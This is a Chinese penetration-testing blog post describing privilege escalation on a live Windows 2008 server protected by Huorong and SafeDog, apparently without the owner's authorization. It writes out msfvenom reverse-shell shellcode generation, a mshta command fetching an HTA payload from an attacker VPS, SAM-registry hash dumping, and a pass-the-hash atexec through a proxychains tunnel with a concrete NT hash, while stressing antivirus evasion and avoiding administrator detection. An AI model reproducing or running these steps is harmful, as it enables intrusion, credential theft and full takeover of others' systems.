记一次绕过火绒安全提权实战案例

渗透技巧 4年前 (2021) admin
945 0 0
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

朋友发来一个站让帮看下提权,服务器上安装的有护卫神+火绒+安全狗等安全防护软件,看着确实挺唬人,他也试了不少常用提权EXP,结果都失败了,可能是欠缺免杀EXP能力吧,当然也有可能是修复了这些漏洞,抽空给他看了下并写了这篇记录文章。
记一次绕过火绒安全提权实战案例

在拿到权限后用中国菜刀连了下,不过好像被拦截了,提示:服务器返回无效或不可识别的响应,以前也多次遇到这种情况,这里只要换成Godzilla就能正常连接了。
记一次绕过火绒安全提权实战案例

0x02 服务器基本信息搜集

虽然朋友在测试后给提供了些信息,但还是习惯自己去看下,因为每个人掌握的知识点和实战经验不一样,只有自己看了后才知道安装了哪些环境、WAF/AV和第三方软件,以及开放了哪些端口、打了多少补丁等,这样才能更好对其系统薄弱点进行测试
目标系统:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).当前权限:iis apppool*****.com支持脚本:ASPASPXPHP,能够直接执行系统命令开放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService)进程名称:G6FTPServer.exeG6FTPTray.exeHwsHostPanel.exemysqld.exephp-cgi.exeSafeDogUpdateCenter.exeCloudHelper.exeSafeDogGuardCenter.exeSafeDogTray.exeSafeDogGuardHelper.exeSafeDogGuardHelper.exeHipsTray.exeHipsDaemon.exeusysdiag.exe

记一次绕过火绒安全提权实战案例


服务器上运行的有:火绒、护卫神主机大师、服务器安全狗、MySQL数据库和G6FTP,可以尝试提权方式有:护卫神主机大师、MySQL和G6FTP,不过在提权过程中得注意下火绒和服务器安全狗的查杀和拦截,尽可能的避免被管理员发现

记一次绕过火绒安全提权实战案例


0x03 绕过火绒获取MSF会话

个人习惯在MSF下进行提权,首先我们先想办法获取一个会话,火绒默认会拦截web_delivery中的powershell执行和查杀hta_server的hta文件,所以这两种方式在这里是行不通的。
记一次绕过火绒安全提权实战案例

这里我们直接利用mshta白名单来获取MSF会话,首先执行以下命令生成shellcode并执行监听,然后将exp.hta文件中的shellcode替换为MSF的shellcode即可
[root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin[root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set lhost 155.**.***.16msf6 exploit(multi/handler) > set lport 443msf6 exploit(multi/handler) > exploit

记一次绕过火绒安全提权实战案例


接着我们在VPS上用Python开启一个临时Web用于远程调用,然后再去ASPX大马的执行命令功能处用系统自带的mshta.exe执行exp.hta这个文件后即可上线
python -m SimpleHTTPServer 8888python3 -m http.server 8888

记一次绕过火绒安全提权实战案例


0x04 SAM注册表项导出哈希

朋友前期已经测试了很多提权EXP,加上护卫神主机大师为高版本,MySQL也被降权了,所以就不再去测试这些常规方法了,G6FTP还是可以去试一下,不过我这用的是另一种非常规方法。

直接利用《西部数码云主机失败提权案例》一文中提到的方法,原理也很简单,当SAM注册表项有Users或Everyone的读取权限时就能利用MSF下的hashdump模块导出哈希。
meterpreter > getuidmeterpreter > load powershellmeterpreter > powershell_shellPS > Get-Acl -Path HKLM:SAMSAM | Format-Listmeterpreter > run post/windows/gather/hashdump
记一次绕过火绒安全提权实战案例

0x05 atexec提升System权限

已经利用SAM注册表项权限问题导出了主机哈希,但依旧面临着一些问题,如:没有明文密码、破解不了哈希、添加不了用户等,如遇到这种场景时应该怎样进行下一步测试呢?
记一次绕过火绒安全提权实战案例

这时我们可以尝试使用支持HASH传递的远程命令执行工具来执行系统命令,这里以Impacket套件远程命令执行功能中的atexec来做演示,其他支持哈希传递的工具以及利用方式如下。

135端口:
WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;

Impacket:

psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);

利用方式:

Local本地执行 、Socks4/5代理 、Metasploit虚拟路由表;

这里我们先将当前MSF会话添加进虚拟路由,然后再用socks_proxy模块开启一个socks5代理,修改下proxychains.conf配置文件,最后用proxychains代理工具来执行atexec即可
meterpreter > run get_local_subnetsmeterpreter > run autoroute -s 59.***.***.0/255.255.255.0meterpreter > bg
msf6 auxiliary(server/socks_proxy) > set username testmsf6 auxiliary(server/socks_proxy) > set password 123456msf6 auxiliary(server/socks_proxy) > run
记一次绕过火绒安全提权实战案例

Kali的proxychains配置默认在/etc/proxychains.conf,而自行编译安装的proxychains4配置在根目录下/src/proxychains.conf,如何修改就不细说了,配置文件里都有例子
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf
记一次绕过火绒安全提权实战案例

利用proxychains代理工具执行atexec时可能会出现以下报错,且没有命令执行回显,但我们可以先用Ping 9o**mf.dnslog.cn命令看下是否执行成功,如果DNSLog收到数据则说明成功。
[root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c ping 9o**mf.dnslog.cn"
记一次绕过火绒安全提权实战案例

确定命令执行成功后,我们另起一个命令终端开启MSF监听,然后再用proxychains代理工具执行atexec,这里再次执行前边用到的exp.hta文件后即可得到目标主机SYSTEM
[root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 "cmd /c mshta http://155.**.***.16:8888/exp.hta"
记一次绕过火绒安全提权实战案例

踩坑记录-1:
如果没有将当前MSF会话添加至虚拟路由时,即使开了Socks5代理也不能用proxychains代理工具执行atexec,会报出以下错误提示,因为MSF的Socks模块是在VPS上开启一个Socks代理,在没有添加虚拟路由前是不能与目标445端口进行通讯,除非是在目标主机上开启Socks代理,然后本地连接目标开启的Socks后才能与目标445端口进行通讯。
记一次绕过火绒安全提权实战案例

踩坑记录-2:
Socks代理流量已经通了,但是在利用proxychains代理工具执行atexec时出现了以下报错,且没有命令执行回显,执行whoami>1.txt命令也写不了文件,当然这可能只是这个环境出现的个别案例,但我们可以通过ping dnslog命令来判断是否执行成功。
记一次绕过火绒安全提权实战案例



关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考等安全杂志PDF电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读




记一次绕过火绒安全提权实战案例
记一次绕过火绒安全提权实战案例
记一次绕过火绒安全提权实战案例

欢 迎 私 下 骚 扰



记一次绕过火绒安全提权实战案例

原文始发于微信公众号(潇湘信安):记一次绕过火绒安全提权实战案例

版权声明:admin 发表于 2021年5月19日 上午1:00。
转载请注明:记一次绕过火绒安全提权实战案例 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...